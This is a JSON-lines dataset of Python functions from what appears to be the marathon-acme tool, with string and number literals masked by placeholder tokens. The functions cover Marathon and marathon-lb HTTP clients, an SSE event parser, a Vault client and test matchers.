{"signature": "def _get_ip_address_discovery_ports(app):", "body": "if not _is_legacy_ip_per_task(app):<EOL><INDENT>return None<EOL><DEDENT>return app['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>", "docstring": "Get the ports from the ``ipAddress`` field for the app if present.", "id": "f13680:m4"}
{"signature": "def _is_legacy_ip_per_task(app):", "body": "return app.get('<STR_LIT>') is not None<EOL>", "docstring": "Return whether the application is using IP-per-task on Marathon < 1.5.\n:param app: The application to check.\n:return: True if using IP per task, False otherwise.", "id": "f13680:m5"}
{"signature": "def marathon_timestamp():", "body": "return datetime.utcnow().strftime('<STR_LIT>')[:-<NUM_LIT:3>] + '<STR_LIT>'<EOL>", "docstring": "Make a Marathon/JodaTime-like timestamp string in ISO8601 format with\nmilliseconds for the current time in UTC.", "id": "f13681:m0"}
{"signature": "def check_called_get_apps(self):", "body": "was_called, self._called_get_apps = self._called_get_apps, False<EOL>return was_called<EOL>", "docstring": "Check and reset the ``_called_get_apps`` flag.", "id": "f13681:c1:m1"}
{"signature": "def check_signalled_hup(self):", "body": "was_signalled, self._signalled_hup = self._signalled_hup, False<EOL>return was_signalled<EOL>", "docstring": "Check and reset the ``_signalled_hup`` flag.", "id": "f13681:c2:m1"}
{"signature": "def check_signalled_usr1(self):", "body": "was_signalled, self._signalled_usr1 = self._signalled_usr1, False<EOL>return was_signalled<EOL>", "docstring": "Check and reset the ``_signalled_usr1`` flag.", "id": "f13681:c2:m2"}
{"signature": "def get_kv_data(self, path):", "body": "return self._kv_data.get(path)<EOL>", "docstring": "Read KV data at the given path. Returns the data and metadata.", "id": "f13683:c0:m1"}
{"signature": "def set_kv_data(self, path, data):", "body": "existing_data = self.get_kv_data(path)<EOL>if existing_data is not None:<EOL><INDENT>existing_version = existing_data['<STR_LIT>']['<STR_LIT:version>']<EOL>value = self._kv_v2(data, existing_version + <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>value = self._kv_v2(data)<EOL><DEDENT>self._kv_data[path] = value<EOL>return value['<STR_LIT>']<EOL>", "docstring": "Create or update KV data at the given path. Returns the metadata for\nthe newly stored data.", "id": "f13683:c0:m2"}
{"signature": "def set_pre_create_update(self, cb):", "body": "self._pre_create_update = cb<EOL>", "docstring": "Set a 0-args callback that will be called before any create or update\nrequest is processed in any way. This is useful for intercepting writes\nto simulate concurrent access to Vault.", "id": "f13683:c1:m1"}
{"signature": "def IsJsonResponseWithCode(code):", "body": "return MatchesStructure(<EOL>code=Equals(code),<EOL>headers=HasHeader('<STR_LIT:Content-Type>', ['<STR_LIT:application/json>'])<EOL>)<EOL>", "docstring": "Match the status code on a treq.response object and check that a header is\nset to indicate that the content type is JSON.", "id": "f13687:m0"}
{"signature": "def WithErrorTypeAndMessage(error_type, message):", "body": "return MatchesAll(<EOL>MatchesStructure(value=IsInstance(error_type)),<EOL>After(methodcaller('<STR_LIT>'), Equals(message))<EOL>)<EOL>", "docstring": "Check that a Twisted failure was caused by a certain error type with a\ncertain message.", "id": "f13687:m1"}
{"signature": "def matches_time_or_just_before(time, tolerance=timedelta(seconds=<NUM_LIT:10>)):", "body": "return MatchesAll(<EOL>GreaterThan(time - tolerance),<EOL>MatchesAny(LessThan(time), Equals(time)))<EOL>", "docstring": "Match a time to be equal to a certain time or just before it. Useful when\nchecking for a time that is now +/- some amount of time.", "id": "f13687:m2"}
{"signature": "def __init__(self, key, values):", "body": "super(HasHeader, self).__init__(values)<EOL>self.key = key<EOL>", "docstring": "Checks for a certain header with certain values in the headers of a\nresponse or request. Note that headers may be specified multiple times\nand that the order of repeated headers is important.\n\n:param str key:\n    The header name/key.\n:param list values:\n    The list of values for the header.", "id": "f13687:c0:m0"}
{"signature": "def match(self, headers):", "body": "if not headers.hasHeader(self.key):<EOL><INDENT>headers_content = text_content(<EOL>repr(dict(headers.getAllRawHeaders())))<EOL>return Mismatch(<EOL>'<STR_LIT>' % (self.key,),<EOL>details={'<STR_LIT>': headers_content})<EOL><DEDENT>raw_values = headers.getRawHeaders(self.key)<EOL>return super(HasHeader, self).match(raw_values)<EOL>", "docstring": ":param twisted.web.http_headers.Headers headers:\n    The response or request headers object.", "id": "f13687:c0:m2"}
{"signature": "def read_request_json(request):", "body": "return json.loads(request.content.read().decode('<STR_LIT:utf-8>'))<EOL>", "docstring": "Read the body of a request and decode it as JSON. The counterpart to\n``marathon_acme.server.write_request_json`` but only used in tests.", "id": "f13690:m0"}
{"signature": "def IsSseResponse():", "body": "return MatchesStructure(<EOL>code=Equals(<NUM_LIT:200>),<EOL>headers=HasHeader('<STR_LIT:Content-Type>', ['<STR_LIT>'])<EOL>)<EOL>", "docstring": "Match a status code of 200 on a treq.response object and check that a\nheader is set to indicate that the content type is an event stream.", "id": "f13691:m2"}
{"signature": "def IsMarathonEvent(event_type, **kwargs):", "body": "matching_dict = {<EOL>'<STR_LIT>': Equals(event_type),<EOL>'<STR_LIT>': After(_parse_marathon_event_timestamp,<EOL>matches_time_or_just_before(datetime.utcnow()))<EOL>}<EOL>matching_dict.update(kwargs)<EOL>return MatchesDict(matching_dict)<EOL>", "docstring": "Match a dict (deserialized from JSON) as a Marathon event. Matches the\nevent type and checks for a recent timestamp.\n\n:param event_type: The event type ('eventType' field value)\n:param kwargs: Any other matchers to apply to the dict", "id": "f13691:m3"}
{"signature": "def _parse_marathon_event_timestamp(timestamp):", "body": "return datetime.strptime(timestamp, '<STR_LIT>')<EOL>", "docstring": "Parse Marathon's ISO8601-like timestamps into a datetime.", "id": "f13691:m4"}
{"signature": "def _parse_field_value(line):", "body": "if line.startswith('<STR_LIT::>'):<EOL><INDENT>return None, None<EOL><DEDENT>if '<STR_LIT::>' not in line:<EOL><INDENT>return line, '<STR_LIT>'<EOL><DEDENT>field, value = line.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>value = value[<NUM_LIT:1>:] if value.startswith('<STR_LIT:U+0020>') else value<EOL>return field, value<EOL>", "docstring": "Parse the field and value from a line.", "id": "f13695:m0"}
{"signature": "def __init__(<EOL>self, handler, max_length=MAX_LENGTH, timeout=None, reactor=None):", "body": "self._handler = handler<EOL>self._max_length = max_length<EOL>self._timeout = timeout<EOL>if reactor is None:<EOL><INDENT>from twisted.internet import reactor as _reactor<EOL>reactor = _reactor<EOL><DEDENT>self._reactor = reactor<EOL>self._waiting = []<EOL>self._buffer = b'<STR_LIT>'<EOL>self._reset_event_data()<EOL>", "docstring": ":param handler:\n    A 2-args callable that will be called back with the event and data\n    when a complete message is received.\n:param int max_length:\n    The maximum length in bytes of a single line in an SSE event that\n    will be accepted.\n:param float timeout:\n    Amount of time in seconds to wait for some data to be received\n    before timing out. (Default: None - no timeout).\n:param reactor:\n    Reactor to use to timeout the connection.", "id": "f13695:c0:m0"}
{"signature": "def _abortConnection(self):", "body": "transport = self.transport<EOL>if isinstance(transport, TransportProxyProducer):<EOL><INDENT>transport = transport._producer<EOL><DEDENT>if hasattr(transport, '<STR_LIT>'):<EOL><INDENT>transport.abortConnection()<EOL><DEDENT>else:<EOL><INDENT>self.log.error(<EOL>'<STR_LIT>'.format(transport))<EOL><DEDENT>", "docstring": "We need a way to close the connection when an event line is too long\nor if we time out waiting for an event. This is normally done by\ncalling :meth:`~twisted.internet.interfaces.ITransport.loseConnection``\nor :meth:`~twisted.internet.interfaces.ITCPTransport.abortConnection`,\nbut newer versions of Twisted make this complicated.\n\nDespite what the documentation says for\n:class:`twisted.internet.protocol.Protocol`, the ``transport``\nattribute is not necessarily a\n:class:`twisted.internet.interfaces.ITransport`. Looking at the\ndocumentation for :class:`twisted.internet.interfaces.IProtocol`, the\n``transport`` attribute is actually not defined and neither is the\ntype of the ``transport`` parameter to\n:meth:`~twisted.internet.interfaces.IProtocol.makeConnection`.\n\n``SseProtocol`` will most often be used with HTTP requests initiated\nwith :class:`twisted.web.client.Agent` which, in newer versions of\nTwisted, ends up giving us a\n:class:`twisted.web._newclient.TransportProxyProducer` for our\n``transport``. This is just a\n:class:`twisted.internet.interfaces.IPushProducer` that wraps the\nactual transport. If our transport is one of these, try call\n``abortConnection()`` on the underlying transport.", "id": "f13695:c0:m3"}
{"signature": "def when_finished(self):", "body": "d = Deferred()<EOL>self._waiting.append(d)<EOL>return d<EOL>", "docstring": "Get a deferred that will be fired when the connection is closed.", "id": "f13695:c0:m5"}
{"signature": "def dataReceived(self, data):", "body": "self.resetTimeout()<EOL>lines = (self._buffer + data).splitlines()<EOL>if data.endswith(b'<STR_LIT:\\n>') or data.endswith(b'<STR_LIT:\\r>'):<EOL><INDENT>self._buffer = b'<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self._buffer = lines.pop(-<NUM_LIT:1>)<EOL><DEDENT>for line in lines:<EOL><INDENT>if self.transport.disconnecting:<EOL><INDENT>return<EOL><DEDENT>if len(line) > self._max_length:<EOL><INDENT>self.lineLengthExceeded(line)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>self.lineReceived(line)<EOL><DEDENT><DEDENT>if len(self._buffer) > self._max_length:<EOL><INDENT>self.lineLengthExceeded(self._buffer)<EOL>return<EOL><DEDENT>", "docstring": "Translates bytes into lines, and calls lineReceived.\n\nCopied from ``twisted.protocols.basic.LineOnlyReceiver`` but using\nstr.splitlines() to split on ``\\r\\n``, ``\\n``, and ``\\r``.", "id": "f13695:c0:m6"}
{"signature": "def _handle_field_value(self, field, value):", "body": "if field == '<STR_LIT>':<EOL><INDENT>self._event = value<EOL><DEDENT>elif field == '<STR_LIT:data>':<EOL><INDENT>self._data_lines.append(value)<EOL><DEDENT>elif field == '<STR_LIT:id>':<EOL><INDENT>pass<EOL><DEDENT>elif field == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Handle the field, value pair.", "id": "f13695:c0:m9"}
{"signature": "def _dispatch_event(self):", "body": "data = self._prepare_data()<EOL>if data is not None:<EOL><INDENT>self._handler(self._event, data)<EOL><DEDENT>self._reset_event_data()<EOL>", "docstring": "Dispatch the event to the handler.", "id": "f13695:c0:m10"}
{"signature": "def _prepare_data(self):", "body": "<EOL>if not self._data_lines:<EOL><INDENT>return None<EOL><DEDENT>return '<STR_LIT:\\n>'.join(self._data_lines)<EOL>", "docstring": "Join the data lines into a single string for delivery to the callback.", "id": "f13695:c0:m11"}
{"signature": "def main(reactor, argv=sys.argv[<NUM_LIT:1>:], env=os.environ,<EOL>acme_url=LETSENCRYPT_DIRECTORY.asText()):", "body": "parser = argparse.ArgumentParser(<EOL>description='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>default=acme_url)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', metavar='<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', metavar='<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>help=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>help=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>type=float,<EOL>default=<NUM_LIT:10>)<EOL>parser.add_argument('<STR_LIT>',<EOL>help=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>type=float,<EOL>default=<NUM_LIT>)<EOL>parser.add_argument('<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>choices=['<STR_LIT>', '<STR_LIT:info>', '<STR_LIT>', '<STR_LIT:error>', '<STR_LIT>'],<EOL>default='<STR_LIT:info>'),<EOL>parser.add_argument('<STR_LIT>',<EOL>help=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'),<EOL>action='<STR_LIT:store_true>')<EOL>parser.add_argument('<STR_LIT>', metavar='<STR_LIT>',<EOL>help=('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'))<EOL>parser.add_argument('<STR_LIT>', action='<STR_LIT:version>', version=__version__)<EOL>args = parser.parse_args(argv)<EOL>init_logging(args.log_level)<EOL>marathon_addrs = args.marathon.split('<STR_LIT:U+002C>')<EOL>mlb_addrs = args.lb.split('<STR_LIT:U+002C>')<EOL>sse_timeout = args.sse_timeout if args.sse_timeout > <NUM_LIT:0> else None<EOL>acme_url = URL.fromText(_to_unicode(args.acme))<EOL>endpoint_description = parse_listen_addr(args.listen)<EOL>log_args = [<EOL>('<STR_LIT>', args.storage_path),<EOL>('<STR_LIT>', args.vault),<EOL>('<STR_LIT>', acme_url),<EOL>('<STR_LIT:email>', args.email),<EOL>('<STR_LIT>', args.allow_multiple_certs),<EOL>('<STR_LIT>', marathon_addrs),<EOL>('<STR_LIT>', sse_timeout),<EOL>('<STR_LIT>', mlb_addrs),<EOL>('<STR_LIT>', args.group),<EOL>('<STR_LIT>', endpoint_description),<EOL>]<EOL>log_args = ['<STR_LIT>'.format(k, v) for k, v in log_args]<EOL>log.info('<STR_LIT>'.format(<EOL>__version__, '<STR_LIT:U+002CU+0020>'.join(log_args)))<EOL>if args.vault:<EOL><INDENT>key_d, cert_store = init_vault_storage(<EOL>reactor, env, args.storage_path)<EOL><DEDENT>else:<EOL><INDENT>key_d, cert_store = init_file_storage(args.storage_path)<EOL><DEDENT>key_d.addCallback(create_txacme_client_creator, reactor, acme_url)<EOL>key_d.addCallback(<EOL>create_marathon_acme, cert_store, args.email,<EOL>args.allow_multiple_certs, marathon_addrs, args.marathon_timeout,<EOL>sse_timeout, mlb_addrs, args.group, reactor)<EOL>return key_d.addCallback(lambda ma: ma.run(endpoint_description))<EOL>", "docstring": "A tool to automatically request, renew and distribute Let's Encrypt\ncertificates for apps running on Marathon and served by marathon-lb.", "id": "f13696:m0"}
{"signature": "def parse_listen_addr(listen_addr):", "body": "if '<STR_LIT::>' not in listen_addr:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>'<STR_LIT>' % (listen_addr,))<EOL><DEDENT>host, port = listen_addr.rsplit('<STR_LIT::>', <NUM_LIT:1>)<EOL>if host == '<STR_LIT>':<EOL><INDENT>protocol = '<STR_LIT>'<EOL>interface = None<EOL><DEDENT>else:<EOL><INDENT>if host.startswith('<STR_LIT:[>') and host.endswith('<STR_LIT:]>'):  <EOL><INDENT>host = host[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL><DEDENT>ip_address = ipaddress.ip_address(_to_unicode(host))<EOL>protocol = '<STR_LIT>' if ip_address.version == <NUM_LIT:6> else '<STR_LIT>'<EOL>interface = str(ip_address)<EOL><DEDENT>if not port.isdigit() or int(port) < <NUM_LIT:1> or int(port) > <NUM_LIT>:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % (port,))<EOL><DEDENT>args = [protocol, port]<EOL>kwargs = {'<STR_LIT>': interface} if interface is not None else {}<EOL>return _create_tx_endpoints_string(args, kwargs)<EOL>", "docstring": "Parse an address of the form [ipaddress]:port into a tcp or tcp6 Twisted\nendpoint description string for use with\n``twisted.internet.endpoints.serverFromString``.", "id": "f13696:m2"}
{"signature": "def create_marathon_acme(<EOL>client_creator, cert_store, acme_email, allow_multiple_certs,<EOL>marathon_addrs, marathon_timeout, sse_timeout, mlb_addrs, group,<EOL>reactor):", "body": "marathon_client = MarathonClient(marathon_addrs, timeout=marathon_timeout,<EOL>sse_kwargs={'<STR_LIT>': sse_timeout},<EOL>reactor=reactor)<EOL>marathon_lb_client = MarathonLbClient(mlb_addrs, reactor=reactor)<EOL>return MarathonAcme(<EOL>marathon_client,<EOL>group,<EOL>cert_store,<EOL>marathon_lb_client,<EOL>client_creator,<EOL>reactor,<EOL>acme_email,<EOL>allow_multiple_certs<EOL>)<EOL>", "docstring": "Create a marathon-acme instance.\n\n:param client_creator:\n    The txacme client creator function.\n:param cert_store:\n    The txacme certificate store instance.\n:param acme_email:\n    Email address to use when registering with the ACME service.\n:param allow_multiple_certs:\n    Whether to allow multiple certificates per app port.\n:param marathon_addr:\n    Address for the Marathon instance to find app domains that require\n    certificates.\n:param marathon_timeout:\n    Amount of time in seconds to wait for response headers to be received\n    from Marathon.\n:param sse_timeout:\n    Amount of time in seconds to wait for some event data to be received\n    from Marathon.\n:param mlb_addrs:\n    List of addresses for marathon-lb instances to reload when a new\n    certificate is issued.\n:param group:\n    The marathon-lb group (``HAPROXY_GROUP``) to consider when finding\n    app domains.\n:param reactor: The reactor to use.", "id": "f13696:m4"}
{"signature": "def init_storage_dir(storage_dir):", "body": "storage_path = FilePath(storage_dir)<EOL>default_cert_path = storage_path.child('<STR_LIT>')<EOL>if not default_cert_path.exists():<EOL><INDENT>default_cert_path.setContent(generate_wildcard_pem_bytes())<EOL><DEDENT>unmanaged_certs_path = storage_path.child('<STR_LIT>')<EOL>if not unmanaged_certs_path.exists():<EOL><INDENT>unmanaged_certs_path.createDirectory()<EOL><DEDENT>certs_path = storage_path.child('<STR_LIT>')<EOL>if not certs_path.exists():<EOL><INDENT>certs_path.createDirectory()<EOL><DEDENT>return storage_path, certs_path<EOL>", "docstring": "Initialise the storage directory with the certificates directory and a\ndefault wildcard self-signed certificate for HAProxy.\n\n:return: the storage path and certs path", "id": "f13696:m5"}
{"signature": "def init_logging(log_level):", "body": "log_level_filter = LogLevelFilterPredicate(<EOL>LogLevel.levelWithName(log_level))<EOL>log_level_filter.setLogLevelForNamespace(<EOL>'<STR_LIT>', LogLevel.warn)<EOL>log_observer = FilteringLogObserver(<EOL>textFileLogObserver(sys.stdout), [log_level_filter])<EOL>globalLogPublisher.addObserver(log_observer)<EOL>", "docstring": "Initialise the logging by adding an observer to the global log publisher.\n\n:param str log_level: The minimum log level to log messages for.", "id": "f13696:m6"}
{"signature": "def __init__(self, responder_resource):", "body": "self.responder_resource = responder_resource<EOL>self.health_handler = None<EOL>", "docstring": ":param responder_resource:\n    An ``IResponse`` used to respond to ACME HTTP challenge validation\n    requests.", "id": "f13697:c0:m0"}
{"signature": "def listen(self, reactor, endpoint_description):", "body": "endpoint = serverFromString(reactor, endpoint_description)<EOL>return endpoint.listen(Site(self.app.resource()))<EOL>", "docstring": "Run the server, i.e. start listening for requests on the given host and\nport.\n\n:param reactor: The ``IReactorTCP`` to use.\n:param endpoint_description:\n    The Twisted description for the endpoint to listen on.\n:return:\n    A deferred that returns an object that provides ``IListeningPort``.", "id": "f13697:c0:m1"}
{"signature": "@app.route('<STR_LIT>', branch=True, methods=['<STR_LIT:GET>'])<EOL><INDENT>def acme_challenge(self, request):<DEDENT>", "body": "return self.responder_resource<EOL>", "docstring": "Respond to ACME challenge validation requests on\n``/.well-known/acme-challenge/`` using the ACME responder resource.", "id": "f13697:c0:m2"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL><INDENT>def acme_challenge_ping(self, request):<DEDENT>", "body": "request.setResponseCode(OK)<EOL>write_request_json(request, {'<STR_LIT:message>': '<STR_LIT>'})<EOL>", "docstring": "Respond to requests on ``/.well-known/acme-challenge/ping`` to debug\npath routing issues.", "id": "f13697:c0:m3"}
{"signature": "def set_health_handler(self, health_handler):", "body": "self.health_handler = health_handler<EOL>", "docstring": "Set the handler for the health endpoint.\n\n:param health_handler:\n    The handler for health status requests. This must be a callable\n    that returns a Health object.", "id": "f13697:c0:m4"}
{"signature": "@app.route('<STR_LIT>', methods=['<STR_LIT:GET>'])<EOL><INDENT>def health(self, request):<DEDENT>", "body": "if self.health_handler is None:<EOL><INDENT>return self._no_health_handler(request)<EOL><DEDENT>health = self.health_handler()<EOL>response_code = OK if health.healthy else SERVICE_UNAVAILABLE<EOL>request.setResponseCode(response_code)<EOL>write_request_json(request, health.json_message)<EOL>", "docstring": "Listens to incoming health checks from Marathon on ``/health``.", "id": "f13697:c0:m5"}
{"signature": "def __init__(self, healthy, json_message={}):", "body": "self.healthy = healthy<EOL>self.json_message = json_message<EOL>", "docstring": "Health objects store the current health status of the service.\n\n:param bool healthy:\n    The service is either healthy (True) or unhealthy (False).\n:param json_message:\n    An object that can be serialized as JSON that will be sent as a\n    message when the health status is requested.", "id": "f13697:c1:m0"}
{"signature": "def get_single_header(headers, key):", "body": "raw_headers = headers.getRawHeaders(key)<EOL>if raw_headers is None:<EOL><INDENT>return None<EOL><DEDENT>header, _ = cgi.parse_header(raw_headers[-<NUM_LIT:1>])<EOL>return header<EOL>", "docstring": "Get a single value for the given key out of the given set of headers.\n\n:param twisted.web.http_headers.Headers headers:\n    The set of headers in which to look for the header value\n:param str key:\n    The header key", "id": "f13698:m0"}
{"signature": "def raise_for_status(response):", "body": "http_error_msg = '<STR_LIT>'<EOL>if <NUM_LIT> <= response.code < <NUM_LIT>:<EOL><INDENT>http_error_msg = '<STR_LIT>' % (<EOL>response.code, uridecode(response.request.absoluteURI))<EOL><DEDENT>elif <NUM_LIT> <= response.code < <NUM_LIT>:<EOL><INDENT>http_error_msg = '<STR_LIT>' % (<EOL>response.code, uridecode(response.request.absoluteURI))<EOL><DEDENT>if http_error_msg:<EOL><INDENT>raise HTTPError(http_error_msg, response=response)<EOL><DEDENT>return response<EOL>", "docstring": "Raises a `requests.exceptions.HTTPError` if the response did not succeed.\nAdapted from the Requests library:\nhttps://github.com/kennethreitz/requests/blob/v2.8.1/requests/models.py#L825-L837", "id": "f13698:m1"}
{"signature": "def __init__(self, url=None, client=None, timeout=DEFAULT_TIMEOUT,<EOL>reactor=None):", "body": "self.url = url<EOL>self._timeout = timeout<EOL>self._client, self._reactor = default_client(reactor, client)<EOL>", "docstring": "Create a client with the specified default URL.", "id": "f13698:c0:m0"}
{"signature": "def _compose_url(self, url, kwargs):", "body": "if url is None:<EOL><INDENT>url = self.url<EOL><DEDENT>if url is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>split_result = urisplit(url)<EOL>userinfo = split_result.userinfo<EOL>compose_kwargs = {}<EOL>for key in ['<STR_LIT>', '<STR_LIT:host>', '<STR_LIT:port>', '<STR_LIT:path>', '<STR_LIT>']:<EOL><INDENT>if key in kwargs:<EOL><INDENT>compose_kwargs[key] = kwargs.pop(key)<EOL><DEDENT>else:<EOL><INDENT>compose_kwargs[key] = getattr(split_result, key)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>compose_kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>compose_kwargs['<STR_LIT>'] = split_result.query<EOL><DEDENT>if '<STR_LIT>' not in kwargs and userinfo is not None:<EOL><INDENT>kwargs['<STR_LIT>'] = tuple(userinfo.split('<STR_LIT::>', <NUM_LIT:2>))<EOL><DEDENT>return uricompose(**compose_kwargs)<EOL>", "docstring": "Compose a URL starting with the given URL (or self.url if that URL is\nNone) and using the values in kwargs.\n\n:param str url:\n    The base URL to use. If None, ``self.url`` will be used instead.\n:param dict kwargs:\n    A dictionary of values to override in the base URL. Relevant keys\n    will be popped from the dictionary.", "id": "f13698:c0:m3"}
{"signature": "def request(self, method, url=None, **kwargs):", "body": "url = self._compose_url(url, kwargs)<EOL>kwargs.setdefault('<STR_LIT>', self._timeout)<EOL>d = self._client.request(method, url, reactor=self._reactor, **kwargs)<EOL>d.addCallback(self._log_request_response, method, url, kwargs)<EOL>d.addErrback(self._log_request_error, url)<EOL>return d<EOL>", "docstring": "Perform a request.\n\n:param: method:\n    The HTTP method to use (example is `GET`).\n:param: url:\n    The URL to use. The default value is the URL this client was\n    created with (`self.url`) (example is `http://localhost:8080`)\n:param: kwargs:\n    Any other parameters that will be passed to `treq.request`, for\n    example headers. Or any URL parameters to override, for example\n    path, query or fragment.", "id": "f13698:c0:m4"}
{"signature": "def HasRequestProperties(method, url, query=None):", "body": "if query is None:<EOL><INDENT>query = {}<EOL><DEDENT>return MatchesStructure(<EOL>method=Equals(method.encode('<STR_LIT:ascii>')),<EOL>path=Equals(url.encode('<STR_LIT:ascii>')),<EOL>uri=After(lambda u: urisplit(u).getquerydict(), Equals(query))<EOL>)<EOL>", "docstring": "Check if a HTTP request object has certain properties.\n\nParses the query dict from the request URI rather than using the request\n\"args\" property as the args do not include query parameters that have no\nvalue.\n\n:param str method:\n    The HTTP method.\n:param str url:\n    The HTTP URL, without any query parameters. Should already be percent\n    encoded.\n:param dict query:\n    A dictionary of HTTP query parameters.", "id": "f13702:m0"}
{"signature": "def json_response(request, json_data, response_code=<NUM_LIT:200>):", "body": "request.setResponseCode(response_code)<EOL>write_request_json(request, json_data)<EOL>request.finish()<EOL>", "docstring": "Set the response code, write encoded JSON, and finish() a request.", "id": "f13703:m0"}
{"signature": "def get_client(self, client):", "body": "raise NotImplementedError()<EOL>", "docstring": "To be implemented by subclass", "id": "f13704:c0:m2"}
{"signature": "def add_agent(self, location, agent):", "body": "self.agents[location] = agent<EOL>", "docstring": "Add an agent for URIs with the specified location.\n:param bytes location:\n    The URI authority/location (e.g. b'example.com:80')\n:param agent: The twisted.web.iweb.IAgent to use for the location", "id": "f13704:c1:m1"}
{"signature": "def __init__(self, endpoints, *args, **kwargs):", "body": "super(MarathonLbClient, self).__init__(*args, **kwargs)<EOL>self.endpoints = endpoints<EOL>", "docstring": ":param endpoints:\n    The list of marathon-lb endpoints. All marathon-lb endpoints will\n    be called at once for any request.", "id": "f13707:c0:m0"}
{"signature": "def _request(self, endpoint, *args, **kwargs):", "body": "kwargs['<STR_LIT:url>'] = endpoint<EOL>return (super(MarathonLbClient, self).request(*args, **kwargs)<EOL>.addCallback(raise_for_status))<EOL>", "docstring": "Perform a request to a specific endpoint. Raise an error if the status\ncode indicates a client or server error.", "id": "f13707:c0:m2"}
{"signature": "def _check_request_results(self, results):", "body": "responses = []<EOL>failed_endpoints = []<EOL>for index, result_tuple in enumerate(results):<EOL><INDENT>success, result = result_tuple<EOL>if success:<EOL><INDENT>responses.append(result)<EOL><DEDENT>else:<EOL><INDENT>endpoint = self.endpoints[index]<EOL>self.log.failure(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', result, LogLevel.error, endpoint=endpoint)<EOL>responses.append(None)<EOL>failed_endpoints.append(endpoint)<EOL><DEDENT><DEDENT>if len(failed_endpoints) == len(self.endpoints):<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>')<EOL><DEDENT>if failed_endpoints:<EOL><INDENT>self.log.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>', x=len(failed_endpoints), y=len(self.endpoints),<EOL>endpoints=failed_endpoints)<EOL><DEDENT>return responses<EOL>", "docstring": "Check the result of each request that we made. If a failure occurred,\nbut some requests succeeded, log and count the failures. If all\nrequests failed, raise an error.\n\n:return:\n    The list of responses, with a None value for any requests that\n    failed.", "id": "f13707:c0:m3"}
{"signature": "def mlb_signal_hup(self):", "body": "return self.request('<STR_LIT:POST>', path='<STR_LIT>')<EOL>", "docstring": "Trigger a SIGHUP signal to be sent to marathon-lb. Causes a full reload\nof the config as though a relevant event was received from Marathon.", "id": "f13707:c0:m4"}
{"signature": "def mlb_signal_usr1(self):", "body": "return self.request('<STR_LIT:POST>', path='<STR_LIT>')<EOL>", "docstring": "Trigger a SIGUSR1 signal to be sent to marathon-lb. Causes the existing\nconfig to be reloaded, whether it has changed or not.", "id": "f13707:c0:m5"}
{"signature": "def __init__(self, url, token, *args, **kwargs):", "body": "super(VaultClient, self).__init__(*args, url=url, **kwargs)<EOL>self._token = token<EOL>", "docstring": ":param url: the URL for Vault\n:param token: the Vault auth token", "id": "f13708:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_env(cls, reactor=None, env=os.environ):<DEDENT>", "body": "address = env.get('<STR_LIT>', '<STR_LIT>')<EOL>token = env.get('<STR_LIT>', '<STR_LIT>')<EOL>ca_cert = env.get('<STR_LIT>')<EOL>tls_server_name = env.get('<STR_LIT>')<EOL>client_cert = env.get('<STR_LIT>')<EOL>client_key = env.get('<STR_LIT>')<EOL>cf = ClientPolicyForHTTPS.from_pem_files(<EOL>caKey=ca_cert, privateKey=client_key, certKey=client_cert,<EOL>tls_server_name=tls_server_name<EOL>)<EOL>client, reactor = default_client(reactor, contextFactory=cf)<EOL>return cls(address, token, client=client, reactor=reactor)<EOL>", "docstring": "Create a Vault client with configuration from the environment. Supports\na limited number of the available config options:\nhttps://www.vaultproject.io/docs/commands/index.html#environment-variables\nhttps://github.com/hashicorp/vault/blob/v0.11.3/api/client.go#L28-L40\n\nSupported:\n- ``VAULT_ADDR``\n- ``VAULT_CACERT``\n- ``VAULT_CLIENT_CERT``\n- ``VAULT_CLIENT_KEY``\n- ``VAULT_TLS_SERVER_NAME``\n- ``VAULT_TOKEN``\n\nNot currently supported:\n- ``VAULT_CAPATH``\n- ``VAULT_CLIENT_TIMEOUT``\n- ``VAULT_MAX_RETRIES``\n- ``VAULT_MFA``\n- ``VAULT_RATE_LIMIT``\n- ``VAULT_SKIP_VERIFY``\n- ``VAULT_WRAP_TTL``", "id": "f13708:c2:m1"}
